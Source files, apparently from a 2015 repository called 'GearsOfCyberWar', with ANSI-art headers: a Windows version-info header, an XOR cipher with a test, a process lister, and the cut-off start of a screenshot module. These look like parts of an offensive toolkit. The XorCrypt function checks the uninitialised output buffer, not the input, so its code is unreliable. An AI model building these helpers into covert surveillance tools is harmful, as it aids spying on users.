▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ 86 | */ 87 | #define SUCCESS 0x1 88 | #define ERROR_UNEXPECTED_VALUE 0x10 89 | #define ERROR_NULL_VALUE 0x11 90 | #define ERROR_WINDOWS_API 0x20 91 | 92 | /** 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | */ 105 | int GetWindowsVersionInfo(unsigned char* VersionMajor, 106 | unsigned char* VersionMinor, 107 | unsigned short* BuildNumber, 108 | unsigned char* PlatformId, 109 | unsigned char* ServicePackMajor, 110 | unsigned char* ServicePackMinor, 111 | unsigned short* Suite, 112 | unsigned char* ProductType, 113 | unsigned char* ServerBuild); 114 | 115 | /** 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | */ 127 | char* GetWindowsVersionDesc(unsigned char* VersionMajor, 128 | unsigned char* VersionMinor, 129 | unsigned short* BuildNumber, 130 | unsigned char* PlatformId, 131 | unsigned char* ServicePackMajor, 132 | unsigned char* ServicePackMinor, 133 | unsigned short* Suite, 134 | unsigned char* ProductType, 135 | unsigned char* ServerBuild); 136 | -------------------------------------------------------------------------------- /GearsOfCyberWar/src/XorCrypt.cpp: -------------------------------------------------------------------------------- 1 | /** 2 | █▀▀▀▀█▀▀▀▀▀██▀▀▀▀██▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀▀▓▒▀▀▀▀▀▀▀▀▀▀█▓▀ ▀▀▀██▀▀▀▀▀▀▀▀▀▓▓▀▀▀▀▀▀▀▀▀▌ 3 | ▌▄██▌ ▄▓██▄ ▀▄█▓▄▐ ▄▓█▓▓▀█ ▄▓██▀▓██▓▄ ▌▄█▓█▀███▓▄ ▌▄█▓█ ▀ ▄▓██▀▓██▓▄ ▄█▓█▀███▄■ 4 | ▌▀▓█▓▐▓██▓▓█ ▐▓█▓▌▐▓███▌■ ▒▓██▌ ▓██▓▌▐▓▒█▌▄ ▓██▓▌▐▓▒█▌▐ ▒▓██▌ ▓██▓▌▓▒█▌ ▓█▓▌ 5 | ▐▓▄▄▌░▓▓█▓▐▓▌ █▓▓▌░▓▓█▓▄▄ ▓▓██▓▄▄▓█▓▓▌░▓█▓ █ ▓█▓▓▌░▓█▓ ▒ ▓▓██▓▄▄▓█▓▓▌▓█▓ ░ ▓█▓▓ 6 | ▐▓▓█▌▓▓▓█▌ █▓▐██▓▌▐▓▒▓▌ ▄ ▐░▓█▌▄ ▀▀▀ ▐▓▓▓ ▐▌ ▀▀▀ ▐▓▓▓▄▄ ▐░▓█▌▄ ▀▀▀ ▓▓▓ ░ ██▓▓ 7 | ▐▓▓▓█▐▓▒██ ██▓▓▓▌▐▓▓██ █▌▐▓▓▒▌▐ ███░▌▐▓▓▒▌▐ ███░▌▐▓▓▒▌ ▐▓▓▒▌▀ ███░▌▓▓▒▌ ███░ 8 | ▒▓▓█▌▒▓▓█▌ ▐▓█▒▒ ▒▓██▌▐█ ▒▓▓█ ▐█▓▒▒ ▒▒▓█ ▐█▓▒▒ ▒▒▓█ ▓▌▒▓▓█ ▐█▓▒▒ ▒▒▓█ ▐█▓▒▌ 9 | ▌ ▒▒░▀ ▓▒▓▀ ▀░▒▓ ▐▌ ▓▓▓▀ █ █▒▓▀▀░█▓ ▄▌ ▒▒▓▀▀░█▓ ▄▌ ▒▒▓▀▀ █▒▓▀▀░█▓ ▒▒▓▀▀░█▀ 10 | █▄ ▀ ▄▄ ▀▄▄▀■ ▀ ▀▓█▄ ▀ ▄█▓█▄ ▀ ▓▄▄▄▄▄█▀ ▄▀ ▄▄▄▄▄▄█▓▄ ▀ ▄▄█▓▄▀ ▄▓▄█▄▀ ▄▄▄█▌ 11 | ▐████▓█▀ ▄▄█▓▓███▄▄ ▀▓▓████████████▓▀▄██▄▀▓██████▓▓██▓▓▓█▀▀▄▄███▓▓▄▄▄▀▀█▓████▌ 12 | ░░▌▓▓▌ ▄▒▒▓▓▓▀▀█████▄ ▀▒░▄ ███▓█▀▀ ▄▓█▌▐▒█▄▀▀▀█▓█████▓▓▀ ▄█████▀▀▓▓▓▒▒▄ ▐▓▓▐░░ 13 | ▐▒▒█▌ ▐░▓▓██▌ ▀▀█▓█▓▄▄▄ ▀█▀▀ ▄▒▓██▀▀ ▀▀██▓▓▄ ▀▀█▀ ▄▄▄▓█▓█▀ ▀ ▐██▓▓░▌ ▐█▒▒▌ 14 | ▀▓█ ░▒▓███ ▄█▀▀▀▀▀▀▀█▓ ▄▒▓██▀ ▄▓▄ ▀▓██▓▄ ▓█▀▀▀▀▀▀▀▄█ ███▓▒░ █▓▀ 15 | ▄█▀ ▀▒▓██▓▌ █▓ ▄▄█▓▓▄▄▄░▒▀▀ ▄▄ ▓░▒▓▓ ▄▄ ▀▀█▓▄▄▄▓▓█▄▄ ▓ █ ▐▓██▓▒▀ ▀█▄ 16 | ▐▓▌ ▀▓█▀▀ ▄▓▓▓█▀ ▄▀▀ ▄▄▀▀ ▀▀▀ ▀▀▄▄ ▀▀▄ ▀█▓▓▓▄▄ ▀▀█▓▀ ▐▓▌ 17 | ██ ▄▄▒█▐▒██▀ ▐▌ ■▀ ▄▄░▒▒▓████▓▄▄ ▀■ ▐▌ ▀██▒▌█▒▄▄ ██ 18 | ▐▒▌ ▄▓▓▓█▒▒▒▓▌ ▀▄ ▄▓▒▒▒███████████▒▓▓▄ ▄▀ ▐▓▒▒▒█▓▓▓▄ ▐▒▌ 19 | ▓▓▌ ▐▒██▀ ▐▒█▀ ▄▄▓▒▒▒▒▓███████████████▓▓▓▄ ▀█▒▌ ▀██▒▌ ▐▓▓ 20 | ▀█ ▒▒▓▌ ▒▓▌ ▄▓▒▒▒▒█░█▓██████████████████▓▓▓▓▄ ▐▓▒ ▐▓▒▒ █▀ 21 | ▄█▀▀ ▐▒█▀ ▐▓▓ ▓░░▓▒▒▓▓▓████████████████████▓▓▓▓▒▓ ▓▓▌ ▀█▒▌ ▀▀█▄ 22 | ▐▓▌ ▒▓▌ ▄▄▒█▌▄ ▐░▒▒▓▓▓▀▀ ▀█▓█████████████▓▀▀█▓▓▓▓▌ ▄▐█▒▄▄ ▐▓▒ ▐▓▌ 23 | ██ ▐▓▓ ▄▓▓▓█▒▓▌ ░▒░░▒▀ ▓▓█████████▓▀ ▀░▓▒▓▌ ▐▓▒█▓▓▓▄ ▓▓▌ ██ 24 | ▐▒▌ ▒█▐▒██▀ ▒▓ ▐░░▒█ ▓ ▀ ▐▓████████▓▌ ▀ █ ▐▓▓▓ ▓▒ ▀██▒▌█▒ ▐▒▌ 25 | ▓▓▌ ▒▒▒▓▌ ▀▒ ▀░▒▓▒▄ ▀▄▄█ █████████▓ ▐▌ ▄▀ ▄▒▓▒▌ ▒▀ ▐▓▒▒▒ ▐▓▓ 26 | ▀█ ▐▒█▀▄▄ ▀▀█▓█▄▄ ▄█▒█▓▓▓▀▓████▄▀▀ ▄█▓█▒▀ ▄▄▀█▒▌ █▀ 27 | ▄█▀▀ ▒▓▌▒▓▓▓▄ ▄░▒▓▄▄▀▓█▓████▓▀▀ ▓███▓█████▀▄▄▄ ▄▓▓▓▒▐▓▒ ▀▀█▄ 28 | ▐▓▌ ▐▓▓ ▀██▒▌ ▐░▒▒▒▓██▄███▓▀ ▀▓██▓██▀▄█▓▒▓▓▄ ▐▒██▀ ▓▓▌ ▐▓▌ 29 | ██ ▒█▒█▌ ▐▓▒▒ ░░▒▒█▓▓▓███▓▀ ▀▓████▓▓█▓█▓▓█ ▒▒▓▌ ▐█▒█▒ ██ 30 | ▐▒▌ ▐▓▓ ▒▓▌ ▀█▒▌ ▒░▒░▒░▓▓██▓▄ ▄▄▄▓▄ ▄█▒▒█▒▒▓▓▒▓▓▓▌▐▒█▀ ▐▓▒ ▓▓▌ ▐▒▌ 31 | ▓▓▌ ▒▓▌ ▒▓ ▐▓▒ ▀░░▒▒▒█████▓▄ ▄▓█████████▓██▒▒▒▒▓▓▓▒▓ ▒▓▌ ▓▒ ▐▓▒ ▐▓▓ 32 | ▀█ ▐▒█▄ ▀▒ ▓▓▌ ▀▒░▒▓███▀▀▀▀▓█▀▀▀▀▀█▀▀▀▀▓▓█▓▒▓▓▒░▀ ▐▓▓ ▒▀ ▄█▒▌ █▀ 33 | ▄█▀▀ ▒▒▓▌ ▐▄▒ ▀▀ ▄▓▓ █▄▄ ▄▀▀▀▄▄▀▄▀▀▀▄ ▀▀▀▀ ▒▄▌ ▐▓▒▒ ▀▀█▄ 34 | ▐▓▌ ▐▒██▄ ▐▒▓ ▄▄▒█▌▄ ▐▒▒▌▀▐▌▀█▌ ▀▓ ▐█▌▀▀▌▒▌ ▄▐█▒▄▄ ▓▒▌ ▄██▒▌ ▐▓▌ 35 | ██ cXc[CPH]▓▓█▒▓▌ ▄▓▓▓█▒▓▌ ▒▒▒██▄ ▄▄▀ ▄▄█▓▓█▓▒ ▐▓▒█▓▓▓ ▄▐▓▒█▓▓▓▀ ██ 36 | ▐▒▌ ▀▀▒█▌▀▐▒██▀ ▐▒▓ ▀▒▒▒████████▓█▓▄▀▀ ▓▒▌ ▀██▐▒▀▐█▒▀▀ ▐▒▌ 37 | ▓▓▌ ▐▓▓ ▒▒▒▓▌█▒▌▐▀▒ ▀░▒▒▓▓▓█▓▀▀ ▒▀▌▐▒█▐▓▒▒▒ ▓▓▌ ▐▓▓ 38 | ▄▀█ ▒▄▌▐▒█▀▓▒▄▒ ▓▓▌ ▀▀▀▀ ▐▓▓ ▒▄▒▓▀▒█▌▐▄▒ █▀▄ 39 | ▐▓▌ ▀ ▓▒▌ ▄██▒▌ ▐▒██ ▄▐▒▓ ▀ ▐▓▌ 40 | ██ ▐▓▒█▓▓▓▀ ▀▓▓█▓▒▓▌ ██ 41 | ▐▒▌ ▄▄▄▓█▀■▀▐█▒▀▀ ▀▒▀█▌▀■▀█▓▄▄▄ ▐▒▌ 42 | ▓▄▄███▓▀▀ ▀▀█▓██▄▄▓ 43 | ▄█▓▀▀ ▀▀▓█▄ 44 | █▓ ▓█ 45 | ▓▒ ▒▓ 46 | ▓ ▓ 47 | // 48 | // C++ XOR Encryption/Decryption Implementation 49 | // Copyright (C) 2015 Jonathan Racicot 50 | // 51 | // This program is free software: you can redistribute it and/or modify 52 | // it under the terms of the GNU General Public License as published by 53 | // the Free Software Foundation, either version 3 of the License, or 54 | // (at your option) any later version. 55 | // 56 | // This program is distributed in the hope that it will be useful, 57 | // but WITHOUT ANY WARRANTY; without even the implied warranty of 58 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 59 | // GNU General Public License for more details. 60 | // 61 | // You should have received a copy of the GNU General Public License 62 | // along with this program. If not, see . 63 | // 64 | // Jonathan Racicot 65 | // infectedpacket@gmail.com 66 | // 2015-03-01 67 | // C++ implementation of the XOR encryption/decryption mechanism. 68 | // 69 | 70 | ▓ ▓ 71 | ▓▌ ▐▓ 72 | ▓█▄▄ ▄▄█▓ 73 | ▓▐▓▓█▄▄ ▄▄█▓▓▌▓ 74 | ▓ ▀█▓██▄▄▄▄ ▄▄██▄▄▄ ▄▄▄██▄▄ ▄▄▄▄██▓█▀ ▓ 75 | ▓ ▀█▓█▀████▄█▀▀▀▀▄▄▄▀▀▄ ▄▀▀▄▄▄▀▀▀▀█▄████▀█▓█▀ ▓ 76 | ▓ ▄█▓█▄████▀█▄▄▄▄▀▀▀▄▄▀ ▀▄▄▀▀▀▄▄▄▄█▀████▄█▓█▄ ▓ 77 | ▓ ▄█▓██▀▀▀▀ ▀▀██▀▀▀ ▀▀▀██▀▀ ▀▀▀▀██▓█▄ ▓ 78 | ▓▐▓▓█▀▀ ▀▀█▓▓▌▓ 79 | ▓█▀▀ ▀▀▓▓███▀▀ ▀▀███▓▓▀▀ ▀▀█▓ 80 | ▄▒▒▓▓▓▀▀█████▄ ▄█████▀▀▓▓▓▒▒▄ 81 | ░▒▓█▄▄▓▓███▄▄▀▀▀▀▀█▓ ▄▒▓██▀ ▀▓██▓▄ ▓█▀▀▀▀▀▄▄███▓▓▄▄█▓▒░ 82 | ▄█▀ ▀▄▒▒▓▓▓▀▀█████▄▓▓▄▄▄░▒▀▀ ▀▀█▓▄▄▄▓▓▄█████▀▀▓▓▓▒▒▄▀ ▀█▄ 83 | ▀▒▒▓▓▓▄▄█████▀ ▀█████▄▄▓▓▓▒▒▀ 84 | ▀▒▒▀▀▓▓███▀▀█▀ ▀█▀▀███▓▓▀▀▒▒▀ 85 | ▀▀▓▓███▀▀ ▀████▓▓▀▀ 86 | ██ ■▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄■ █▓ 87 | ▀█▓▄ NFO HEADER & LAYOUT BY CoaXCable/CoolPHay▄██▓ 88 | ▀▀▀████████████████████████████████████████▓▀▀▀ 89 | ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ 90 | Tag downloaded from http://legacy.sixteencolors.net/pack/cphart4/CXCINFEC.NFO 91 | */ 92 | 93 | #include 94 | #include "XorCrypt.h" 95 | 96 | 97 | /** 98 | 99 | Simple implementation of a null-preserving XOR cipher. The XOR cipher is an additive cipher 100 | that operates according to the principles: 101 | A (+) 0 = A 102 | A (+) A = 0 103 | This implementation uses the characters of the given byte array and XOR each byte of the given 104 | with the corresponding byte of the given key. If the byte to encode is null (0x0), the byte is 105 | ignored. 106 | 107 | An array of bytes to XOR. Must contain at least one item. 108 | The number of bytes passed in CipherData. 109 | 110 | 111 | An array of bytes XOR'd with the given key. 112 | XOR Cipher 113 | */ 114 | unsigned char* XorCrypt(unsigned char* CipherData, unsigned int DataLength, 115 | char* Key, unsigned int KeyLength) { 116 | 117 | if ((CipherData && DataLength > 0) && 118 | (Key && KeyLength > 0)) { 119 | unsigned char* PlainData = new unsigned char[DataLength]; 120 | unsigned int idx = 0; 121 | for (idx = 0; idx < DataLength; idx++) { 122 | if (PlainData[idx] != 0x0) { //Null-preserving 123 | PlainData[idx] = (CipherData[idx] ^ Key[idx%KeyLength]); 124 | } 125 | } 126 | 127 | return PlainData; 128 | } 129 | 130 | return 0; 131 | } 132 | 133 | 134 | int TestXorCrypt() { 135 | unsigned char TestData[] = {0x0, 'A', 'B', 'C', 'D', '1', 0xFA}; 136 | unsigned int TestDataLen = 7; 137 | char Key[] = {0x41}; 138 | unsigned int KeyLen = 1; 139 | 140 | printf("[*] Test Bytes: "); 141 | for (unsigned int i = 0; i < TestDataLen; i++) { 142 | printf("0x%02X ", TestData[i]); 143 | } 144 | printf("\n"); 145 | 146 | printf("[*] Key Bytes: "); 147 | for (unsigned int i = 0; i < KeyLen; i++) { 148 | printf("0x%02X ", Key[i]); 149 | } 150 | printf("\n"); 151 | unsigned char* CipherData = XorCrypt(TestData, TestDataLen, Key, KeyLen); 152 | 153 | printf("[*] Result: "); 154 | for (unsigned int i = 0; i < TestDataLen; i++) { 155 | printf("0x%02X ", CipherData[i]); 156 | } 157 | printf("\n"); 158 | 159 | return 0; 160 | } -------------------------------------------------------------------------------- /GearsOfCyberWar/src/GetProcessList.cpp: -------------------------------------------------------------------------------- 1 | /** 2 | █▀▀▀▀█▀▀▀▀▀██▀▀▀▀██▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀▀▓▒▀▀▀▀▀▀▀▀▀▀█▓▀ ▀▀▀██▀▀▀▀▀▀▀▀▀▓▓▀▀▀▀▀▀▀▀▀▌ 3 | ▌▄██▌ ▄▓██▄ ▀▄█▓▄▐ ▄▓█▓▓▀█ ▄▓██▀▓██▓▄ ▌▄█▓█▀███▓▄ ▌▄█▓█ ▀ ▄▓██▀▓██▓▄ ▄█▓█▀███▄■ 4 | ▌▀▓█▓▐▓██▓▓█ ▐▓█▓▌▐▓███▌■ ▒▓██▌ ▓██▓▌▐▓▒█▌▄ ▓██▓▌▐▓▒█▌▐ ▒▓██▌ ▓██▓▌▓▒█▌ ▓█▓▌ 5 | ▐▓▄▄▌░▓▓█▓▐▓▌ █▓▓▌░▓▓█▓▄▄ ▓▓██▓▄▄▓█▓▓▌░▓█▓ █ ▓█▓▓▌░▓█▓ ▒ ▓▓██▓▄▄▓█▓▓▌▓█▓ ░ ▓█▓▓ 6 | ▐▓▓█▌▓▓▓█▌ █▓▐██▓▌▐▓▒▓▌ ▄ ▐░▓█▌▄ ▀▀▀ ▐▓▓▓ ▐▌ ▀▀▀ ▐▓▓▓▄▄ ▐░▓█▌▄ ▀▀▀ ▓▓▓ ░ ██▓▓ 7 | ▐▓▓▓█▐▓▒██ ██▓▓▓▌▐▓▓██ █▌▐▓▓▒▌▐ ███░▌▐▓▓▒▌▐ ███░▌▐▓▓▒▌ ▐▓▓▒▌▀ ███░▌▓▓▒▌ ███░ 8 | ▒▓▓█▌▒▓▓█▌ ▐▓█▒▒ ▒▓██▌▐█ ▒▓▓█ ▐█▓▒▒ ▒▒▓█ ▐█▓▒▒ ▒▒▓█ ▓▌▒▓▓█ ▐█▓▒▒ ▒▒▓█ ▐█▓▒▌ 9 | ▌ ▒▒░▀ ▓▒▓▀ ▀░▒▓ ▐▌ ▓▓▓▀ █ █▒▓▀▀░█▓ ▄▌ ▒▒▓▀▀░█▓ ▄▌ ▒▒▓▀▀ █▒▓▀▀░█▓ ▒▒▓▀▀░█▀ 10 | █▄ ▀ ▄▄ ▀▄▄▀■ ▀ ▀▓█▄ ▀ ▄█▓█▄ ▀ ▓▄▄▄▄▄█▀ ▄▀ ▄▄▄▄▄▄█▓▄ ▀ ▄▄█▓▄▀ ▄▓▄█▄▀ ▄▄▄█▌ 11 | ▐████▓█▀ ▄▄█▓▓███▄▄ ▀▓▓████████████▓▀▄██▄▀▓██████▓▓██▓▓▓█▀▀▄▄███▓▓▄▄▄▀▀█▓████▌ 12 | ░░▌▓▓▌ ▄▒▒▓▓▓▀▀█████▄ ▀▒░▄ ███▓█▀▀ ▄▓█▌▐▒█▄▀▀▀█▓█████▓▓▀ ▄█████▀▀▓▓▓▒▒▄ ▐▓▓▐░░ 13 | ▐▒▒█▌ ▐░▓▓██▌ ▀▀█▓█▓▄▄▄ ▀█▀▀ ▄▒▓██▀▀ ▀▀██▓▓▄ ▀▀█▀ ▄▄▄▓█▓█▀ ▀ ▐██▓▓░▌ ▐█▒▒▌ 14 | ▀▓█ ░▒▓███ ▄█▀▀▀▀▀▀▀█▓ ▄▒▓██▀ ▄▓▄ ▀▓██▓▄ ▓█▀▀▀▀▀▀▀▄█ ███▓▒░ █▓▀ 15 | ▄█▀ ▀▒▓██▓▌ █▓ ▄▄█▓▓▄▄▄░▒▀▀ ▄▄ ▓░▒▓▓ ▄▄ ▀▀█▓▄▄▄▓▓█▄▄ ▓ █ ▐▓██▓▒▀ ▀█▄ 16 | ▐▓▌ ▀▓█▀▀ ▄▓▓▓█▀ ▄▀▀ ▄▄▀▀ ▀▀▀ ▀▀▄▄ ▀▀▄ ▀█▓▓▓▄▄ ▀▀█▓▀ ▐▓▌ 17 | ██ ▄▄▒█▐▒██▀ ▐▌ ■▀ ▄▄░▒▒▓████▓▄▄ ▀■ ▐▌ ▀██▒▌█▒▄▄ ██ 18 | ▐▒▌ ▄▓▓▓█▒▒▒▓▌ ▀▄ ▄▓▒▒▒███████████▒▓▓▄ ▄▀ ▐▓▒▒▒█▓▓▓▄ ▐▒▌ 19 | ▓▓▌ ▐▒██▀ ▐▒█▀ ▄▄▓▒▒▒▒▓███████████████▓▓▓▄ ▀█▒▌ ▀██▒▌ ▐▓▓ 20 | ▀█ ▒▒▓▌ ▒▓▌ ▄▓▒▒▒▒█░█▓██████████████████▓▓▓▓▄ ▐▓▒ ▐▓▒▒ █▀ 21 | ▄█▀▀ ▐▒█▀ ▐▓▓ ▓░░▓▒▒▓▓▓████████████████████▓▓▓▓▒▓ ▓▓▌ ▀█▒▌ ▀▀█▄ 22 | ▐▓▌ ▒▓▌ ▄▄▒█▌▄ ▐░▒▒▓▓▓▀▀ ▀█▓█████████████▓▀▀█▓▓▓▓▌ ▄▐█▒▄▄ ▐▓▒ ▐▓▌ 23 | ██ ▐▓▓ ▄▓▓▓█▒▓▌ ░▒░░▒▀ ▓▓█████████▓▀ ▀░▓▒▓▌ ▐▓▒█▓▓▓▄ ▓▓▌ ██ 24 | ▐▒▌ ▒█▐▒██▀ ▒▓ ▐░░▒█ ▓ ▀ ▐▓████████▓▌ ▀ █ ▐▓▓▓ ▓▒ ▀██▒▌█▒ ▐▒▌ 25 | ▓▓▌ ▒▒▒▓▌ ▀▒ ▀░▒▓▒▄ ▀▄▄█ █████████▓ ▐▌ ▄▀ ▄▒▓▒▌ ▒▀ ▐▓▒▒▒ ▐▓▓ 26 | ▀█ ▐▒█▀▄▄ ▀▀█▓█▄▄ ▄█▒█▓▓▓▀▓████▄▀▀ ▄█▓█▒▀ ▄▄▀█▒▌ █▀ 27 | ▄█▀▀ ▒▓▌▒▓▓▓▄ ▄░▒▓▄▄▀▓█▓████▓▀▀ ▓███▓█████▀▄▄▄ ▄▓▓▓▒▐▓▒ ▀▀█▄ 28 | ▐▓▌ ▐▓▓ ▀██▒▌ ▐░▒▒▒▓██▄███▓▀ ▀▓██▓██▀▄█▓▒▓▓▄ ▐▒██▀ ▓▓▌ ▐▓▌ 29 | ██ ▒█▒█▌ ▐▓▒▒ ░░▒▒█▓▓▓███▓▀ ▀▓████▓▓█▓█▓▓█ ▒▒▓▌ ▐█▒█▒ ██ 30 | ▐▒▌ ▐▓▓ ▒▓▌ ▀█▒▌ ▒░▒░▒░▓▓██▓▄ ▄▄▄▓▄ ▄█▒▒█▒▒▓▓▒▓▓▓▌▐▒█▀ ▐▓▒ ▓▓▌ ▐▒▌ 31 | ▓▓▌ ▒▓▌ ▒▓ ▐▓▒ ▀░░▒▒▒█████▓▄ ▄▓█████████▓██▒▒▒▒▓▓▓▒▓ ▒▓▌ ▓▒ ▐▓▒ ▐▓▓ 32 | ▀█ ▐▒█▄ ▀▒ ▓▓▌ ▀▒░▒▓███▀▀▀▀▓█▀▀▀▀▀█▀▀▀▀▓▓█▓▒▓▓▒░▀ ▐▓▓ ▒▀ ▄█▒▌ █▀ 33 | ▄█▀▀ ▒▒▓▌ ▐▄▒ ▀▀ ▄▓▓ █▄▄ ▄▀▀▀▄▄▀▄▀▀▀▄ ▀▀▀▀ ▒▄▌ ▐▓▒▒ ▀▀█▄ 34 | ▐▓▌ ▐▒██▄ ▐▒▓ ▄▄▒█▌▄ ▐▒▒▌▀▐▌▀█▌ ▀▓ ▐█▌▀▀▌▒▌ ▄▐█▒▄▄ ▓▒▌ ▄██▒▌ ▐▓▌ 35 | ██ cXc[CPH]▓▓█▒▓▌ ▄▓▓▓█▒▓▌ ▒▒▒██▄ ▄▄▀ ▄▄█▓▓█▓▒ ▐▓▒█▓▓▓ ▄▐▓▒█▓▓▓▀ ██ 36 | ▐▒▌ ▀▀▒█▌▀▐▒██▀ ▐▒▓ ▀▒▒▒████████▓█▓▄▀▀ ▓▒▌ ▀██▐▒▀▐█▒▀▀ ▐▒▌ 37 | ▓▓▌ ▐▓▓ ▒▒▒▓▌█▒▌▐▀▒ ▀░▒▒▓▓▓█▓▀▀ ▒▀▌▐▒█▐▓▒▒▒ ▓▓▌ ▐▓▓ 38 | ▄▀█ ▒▄▌▐▒█▀▓▒▄▒ ▓▓▌ ▀▀▀▀ ▐▓▓ ▒▄▒▓▀▒█▌▐▄▒ █▀▄ 39 | ▐▓▌ ▀ ▓▒▌ ▄██▒▌ ▐▒██ ▄▐▒▓ ▀ ▐▓▌ 40 | ██ ▐▓▒█▓▓▓▀ ▀▓▓█▓▒▓▌ ██ 41 | ▐▒▌ ▄▄▄▓█▀■▀▐█▒▀▀ ▀▒▀█▌▀■▀█▓▄▄▄ ▐▒▌ 42 | ▓▄▄███▓▀▀ ▀▀█▓██▄▄▓ 43 | ▄█▓▀▀ ▀▀▓█▄ 44 | █▓ ▓█ 45 | ▓▒ ▒▓ 46 | ▓ ▓ 47 | // Copyright (C) 2015 Jonathan Racicot 48 | // 49 | // This program is free software: you can redistribute it and/or modify 50 | // it under the terms of the GNU General Public License as published by 51 | // the Free Software Foundation, either version 3 of the License, or 52 | // (at your option) any later version. 53 | // 54 | // This program is distributed in the hope that it will be useful, 55 | // but WITHOUT ANY WARRANTY; without even the implied warranty of 56 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 57 | // GNU General Public License for more details. 58 | // 59 | // You should have received a copy of the GNU General Public License 60 | // along with this program. If not, see . 61 | // 62 | // Jonathan Racicot 63 | // infectedpacket@gmail.com 64 | // 2015-03-01 65 | // 66 | ▓ ▓ 67 | ▓▌ ▐▓ 68 | ▓█▄▄ ▄▄█▓ 69 | ▓▐▓▓█▄▄ ▄▄█▓▓▌▓ 70 | ▓ ▀█▓██▄▄▄▄ ▄▄██▄▄▄ ▄▄▄██▄▄ ▄▄▄▄██▓█▀ ▓ 71 | ▓ ▀█▓█▀████▄█▀▀▀▀▄▄▄▀▀▄ ▄▀▀▄▄▄▀▀▀▀█▄████▀█▓█▀ ▓ 72 | ▓ ▄█▓█▄████▀█▄▄▄▄▀▀▀▄▄▀ ▀▄▄▀▀▀▄▄▄▄█▀████▄█▓█▄ ▓ 73 | ▓ ▄█▓██▀▀▀▀ ▀▀██▀▀▀ ▀▀▀██▀▀ ▀▀▀▀██▓█▄ ▓ 74 | ▓▐▓▓█▀▀ ▀▀█▓▓▌▓ 75 | ▓█▀▀ ▀▀▓▓███▀▀ ▀▀███▓▓▀▀ ▀▀█▓ 76 | ▄▒▒▓▓▓▀▀█████▄ ▄█████▀▀▓▓▓▒▒▄ 77 | ░▒▓█▄▄▓▓███▄▄▀▀▀▀▀█▓ ▄▒▓██▀ ▀▓██▓▄ ▓█▀▀▀▀▀▄▄███▓▓▄▄█▓▒░ 78 | ▄█▀ ▀▄▒▒▓▓▓▀▀█████▄▓▓▄▄▄░▒▀▀ ▀▀█▓▄▄▄▓▓▄█████▀▀▓▓▓▒▒▄▀ ▀█▄ 79 | ▀▒▒▓▓▓▄▄█████▀ ▀█████▄▄▓▓▓▒▒▀ 80 | ▀▒▒▀▀▓▓███▀▀█▀ ▀█▀▀███▓▓▀▀▒▒▀ 81 | ▀▀▓▓███▀▀ ▀████▓▓▀▀ 82 | ██ ■▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄■ █▓ 83 | ▀█▓▄ NFO HEADER & LAYOUT BY CoaXCable/CoolPHay▄██▓ 84 | ▀▀▀████████████████████████████████████████▓▀▀▀ 85 | ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ 86 | */ 87 | #include 88 | #ifndef _WINDOWS_H_ 89 | #include 90 | #endif 91 | 92 | #ifndef _TLHELP32_H_ 93 | #include 94 | #endif 95 | 96 | #include 97 | 98 | #include "GetProcessList.h" 99 | 100 | /** 101 | Callback function used for printing information about the given 102 | process to the console. 103 | The process structure with the information to 104 | print to the console. 105 | 106 | PROCESSENTRY32 structure 107 | */ 108 | void PrintProcessInfo(PROCESSENTRY32 ProcessEntry) { 109 | //pe32.szExeFile Process Name 110 | //pe32.th32ProcessID Process ID 111 | //pe32.cntThreads Thread count 112 | //pe32.th32ParentProcessID Parent process ID 113 | //pe32.pcPriClassBase Priority base 114 | wprintf(L"%d\t%s\t\t%d\t%d\n", ProcessEntry.th32ProcessID, 115 | ProcessEntry.szExeFile, 116 | ProcessEntry.cntThreads, 117 | ProcessEntry.th32ParentProcessID); 118 | } 119 | 120 | /** 121 | Iterate through the list of processes currently running and for each process, 122 | call the ProcessAction function given as parameter. 123 | 124 | Returns TRUE if the function completed successfully, returns 125 | FALSE otherwise. 126 | ProcessAction 127 | PrintProcessInfo function 128 | */ 129 | BOOL GetProcessList( ProcessAction DoProcessAction ) 130 | { 131 | HANDLE hProcessSnap; 132 | HANDLE hProcess; 133 | PROCESSENTRY32 pe32; 134 | DWORD dwPriorityClass; 135 | 136 | // Take a snapshot of all processes in the system. 137 | hProcessSnap = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 ); 138 | if( hProcessSnap == INVALID_HANDLE_VALUE ) 139 | { 140 | return( FALSE ); 141 | } 142 | 143 | // Set the size of the structure before using it. 144 | pe32.dwSize = sizeof( PROCESSENTRY32 ); 145 | 146 | // Retrieve information about the first process, 147 | // and exit if unsuccessful 148 | if( !Process32First( hProcessSnap, &pe32 ) ) 149 | { 150 | CloseHandle( hProcessSnap ); // clean the snapshot object 151 | return( FALSE ); 152 | } 153 | 154 | //Start iterating through the processes 155 | do 156 | { 157 | dwPriorityClass = 0; 158 | hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID ); 159 | if( hProcess != NULL ) { 160 | dwPriorityClass = GetPriorityClass( hProcess ); 161 | if( !dwPriorityClass ) {} 162 | CloseHandle( hProcess ); 163 | } 164 | 165 | DoProcessAction(pe32); 166 | } while( Process32Next( hProcessSnap, &pe32 ) ); 167 | 168 | CloseHandle( hProcessSnap ); 169 | return TRUE; 170 | } 171 | 172 | int TestProcessList() { 173 | printf("[*] Getting list of processess...\n"); 174 | BOOL result = GetProcessList(&PrintProcessInfo); 175 | return 0; 176 | } -------------------------------------------------------------------------------- /GearsOfCyberWar/src/TakeScreenshot.cpp: -------------------------------------------------------------------------------- 1 | /** 2 | 